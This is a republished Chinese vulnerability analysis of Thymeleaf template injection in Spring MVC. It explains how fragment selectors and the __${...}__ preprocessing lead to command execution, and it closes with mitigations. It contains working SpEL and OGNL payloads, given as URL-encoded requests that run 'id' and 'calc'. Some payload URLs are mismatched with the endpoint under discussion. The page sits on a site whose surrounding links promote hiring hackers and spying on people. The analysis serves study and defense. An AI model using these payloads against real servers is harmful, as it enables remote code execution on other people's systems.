找黑客平台

Thymeleaf模板注入导致命令执行漏洞分析

访客4年前黑客资讯1070

本文配合：https://github.com/veracode-research/spring-view-manipulation/食用更佳。

背景：

Thymeleaf 是与 java 配合使用的一款服务端模板引擎，也是 spring 官方支持的一款服务端模板引擎。他支持 HTML 原型，在 HTML 标签中增加额外的属性来达到模板 + 数据的展示方式。默认前缀：/templates/ ，默认后缀：.html 。

首先我们来熟悉一下这个漏洞发生的一些前期知识：

一、 spring mvc 及 thymeleaf 基础

下载 github 中的项目，在 idea 中导入。（导入时选择 pom.xml 并以 project 的形式进行导入，这样他会自己去下载他的依赖，也就是 jar 包，配置 maven 这些如果有需要的话会单独写一篇文章。）
要等他下载 jar 包完成，所以稍等一会。之后，我们来到 HelloController.java 文件。 
@GetMapping("/")
public String index(Model model) {
    model.addAttribute("message", "happy birthday");
    return "welcome";
}
这个 *** 名上加了 @GetMapping("/") 的注解，表示请求 *** 为 get 的 url 为 / 的请求会进到这个 *** 体里面进行处理。
在这个 *** 里面，给 model 传入了一个参数，key 为 message ，value 为 happy birthday ，这个 model 会和我们要返回的视图名一起传回前端。
这里的 return "welcome" 返回的是视图名，thymeleaf 会默认加上前缀 /templates 及后缀 .html ，即最终返回的视图名就是 /templates/welcome.html ，带上我们的数据 model 。 
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
这里首先将 html 的名称空间设置为 thymeleaf ，接下来 html 文档中就可以使用 thymeleaf 中的指令了。比如接下来的 div 标签中就有 th:fragment 、th:text 这种形式，这种就是 thymeleaf 中的指令。
在倒数第三行中， ${message} 表示从 model 中取对应 key 的值，而 ${…} 这里面是 ognl/SpringEL 表达式，比如 ${7*7} 会执行里面运算，得到 49 ，同样延申一下 ognl 表达式：${#rt=@java.lang.Runtime@getRuntime(),#rt.exec("calc")} ，SpringEL 表达式：${T(java.lang.Runtime).getRuntime().exec('calc')} 。${} 内部的通过 OGNL 表达式引擎解析的，外部的通过 thymeleaf 模板引擎解析 。

漏洞出现在 thymeleaf 的片段选择器中，关于片段选择器是什么，通过一个小例子就会知道。

二、 片段选择器，templatename::selector

@GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }
这里接收一个 section 的参数，这个参数来决定我们页面显示哪一个部分。
这里没有上个的 Spring Boot Web Thymeleaf example 字样了。将 section 换为 header ，就没有 Hello, ${message} 字样了。
3、 漏洞详情，thymeleaf 在解析包含 :: 的模板名时，会将其作为表达式去进行执行。
官方文档中也有提到。
github 的文章给的 payload ：__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
这其中除了 __ 下划线暂时不理解之外，其他的应该都能清楚了。后面的 .x 是不需要也可以的，或者也可以换成其他的字符。
__${…}__ 是 thymeleaf 中的预处理表达式，也就是会对双下划线包起来的表达式进行预处理。比如：#{selection.__${sel.code}__} ，这里的话 thymeleaf 会先对 ${sel.code} 进行解析，若解析的结果为 ALL ，那么再将其结果作为常规表达式的一部分，也即是 #{selection.ALL}
所以，结合我们的 payload ，因为 payload 中包含了 :: ，也就是会将 templatename 以及 selector 作为表达式去进行执行，在这里给的 payload 中，表达式在模板名的位置： __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()} 执行 id 这条命令，因为他会进行一个预处理那么无论他前面和后面有什么都会先去处理这个表达式，也就都会去执行里面的命令。

四、 实操

4.1 首先看一下

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

这时将 lang 参数作为模块名解析的一部分。payload ：/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

执行命令并回显。

4.2 再看一下：

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section; //fragment is tainted
}

这时是将 section 放在 selector 的位置。同样是上面的 payload ：/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::

这时没有回显，状态也是 200 ，调试之后发现，前面模板名找不到会抛出一个异常，而这里是将我们的 section 放到 welcome :: 后面，而这时是找到的模板名，找不到 selector ，这时他不会抛出异常，只是没有内容显示了，但是命令还是会执行。

也就是说，如果将 payload 改成 /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__:: 是能弹出计算器的。
测试发现，payload ：/fragment/?section=$%7bT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7d 在这里也是可以执行的，因为 thymeleaf 会将 templatename 、selector 分别作为表达式执行。而这个漏洞环境中，welcome :: 后面直接加的 section ，而 section 后面也没有其他的字符影响，所以不用 __${…}__ 符号也可以。
4.3 还有一种魔幻操作， 
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
    //returns void, so view name is taken from URI
}
这时返回值为空，并没有返回视图名，此时的视图名会从 URI 中获取，具体实现的代码在 DefaultRequestToViewNameTranslator 中的 getViewName *** ： 
public String getViewName(HttpServletRequest request) {
    String lookupPath=this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}
故此时在 uri 中的参数添加 payload 即可。
这里的 payload 必须包裹在 __...__ 之中，且后面加上 :: ，及 .string 。至于为什么我也没弄明白。

五、防御

5.1. *** 上配置 @ResponseBody 或者 @RestController
这样 spring 框架就不会将其解析为视图名，而是直接返回。不配置的话 SpringMVC 会将业务 *** 的返回值传递给 DispatcherServlet ，再由DispatcherServlet 调用 ViewResolver 对返回值进行解析，映射到一个 view 资源。
@RestController 表示该控制器会直接将业务 *** 的返回值响应给客户端，不进行视图解析。它内部继承了 @ResponseBody 。
5.2. 在返回值前面加上 "redirect:"
这样不再由 Spring ThymeleafView来进行解析，而是由 RedirectView 来进行解析。
5.3. 在 *** 参数中加上 HttpServletResponse 参数
这样 spring 会认为已经处理了 response ，无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

文章来源：Medi0cr1ty，作者：medi0cr1ty

标签: Thymeleaf模板注入导致命令执行漏洞分析
返回列表

上一篇：广州番禺桑拿会所，尊贵气息的私密生活

下一篇：遭遇黑客找什么部门(找黑客弄回输的钱

相关文章

网站做外链平台有哪些（免费10个高质量外链平台分享）

如今的SEO领域早已非常成熟了，可是完善代表着大量市场竞争，你需要明白大量才可以击败你的竞争者，不象之前随意做一下就能有着非常好的排行，那时终究做的人还较为少，如今那麼多的人跟你市场竞争，大部分你可以...

网络黑客教你查看别人信息（私人调查公司企业）

网络黑客教你查看别人信息（私人调查公司企业）

【文章百度收录网说】说白了属垣有耳，你具体中必然很焦虑人死之后有一个人在窃听你讲话，窃视你的个人行为，在网络全球里，你的焦虑应当更重，因为这对比起做在具体中窃视你的间谍要简单得多。今天我给讲一讲网络黑...

中国黑客app下载（黑客下载手机版）

中国黑客app下载（黑客下载手机版）

本文导读目录： 1、HackerScan这个软件在哪里可以下载啊？ 2、在哪里可以下载到中国红客联盟解散的时候所提供的那些数据包和那些软件 3、黑客软件如何下载 4、什么是黑客？ 5、...

官换机是什么意思（官换机和全新机的区别？）

“哎妹，我查出来的信息显示是官换机，什么意思啊？” “哎妹，官换机是什么意思啊？” “哎妹，我的保修时间怎么对不上？” “哎妹，我能问你个事儿吗？你觉得我怎么样......” 呃，说实话，我还...

蜻蜓的寓意（蜻蜓在你心中是什么的象征）

　　蜻蜒的喻意（蜻蜒在你心里是啥的代表）八九岁的儿时，记忆力尽管很少，但还记得的事，却清楚可见，好像就在昨日产生。夏天的黄昏，下完雨后的气体填满水份，水在蜻蜒的羽翼上凝固成小雨滴，危害了他们航行的高宽...

无锡黑客网,黑客查微信举报人,如何让黑客破不出密码来

HyperShell设备方位6月底，咱们陈述了一个具有高度针对性的歹意活动的详细信息，咱们将其称为“Operation ViceLeaker”，该歹意活动经过即时音讯传达Android歹意样本。 这场...

Copyright Your WebSite.Some Rights Reserved.

免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！

Hacker by Hacker.